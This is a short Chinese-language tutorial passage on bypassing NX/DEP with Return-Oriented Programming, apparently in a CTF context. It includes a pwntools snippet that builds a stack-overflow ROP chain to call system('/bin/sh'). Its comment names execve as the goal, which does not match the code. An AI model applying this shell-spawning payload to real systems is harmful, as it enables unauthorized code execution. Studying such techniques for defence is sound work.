在启用了 NX/DEP(数据执行保护) 的现代化操作系统中,栈和堆内存被标记为不可执行。攻击者通过 ROP(Return-Oriented Programming) 技术,复用现有二进制代码段中的 Gadget(以 ret 结尾的机器指令序列)构造执行链。
一、x86-64 ROP Chain 典型构造
python
from pwn import *
# 目标:调用 execve("/bin/sh", 0, 0)
# Gadget: pop rdi; ret (0x4011d3)
pop_rdi = p64(0x4011d3)
bin_sh_addr = p64(0x404050)
system_plt = p64(0x401060)
payload = b"A" * 72 # 栈溢出覆盖至返回地址
payload += pop_rdi # 控制 rdi 寄存器
payload += bin_sh_addr # 第一个参数
payload += system_plt # 触发 system()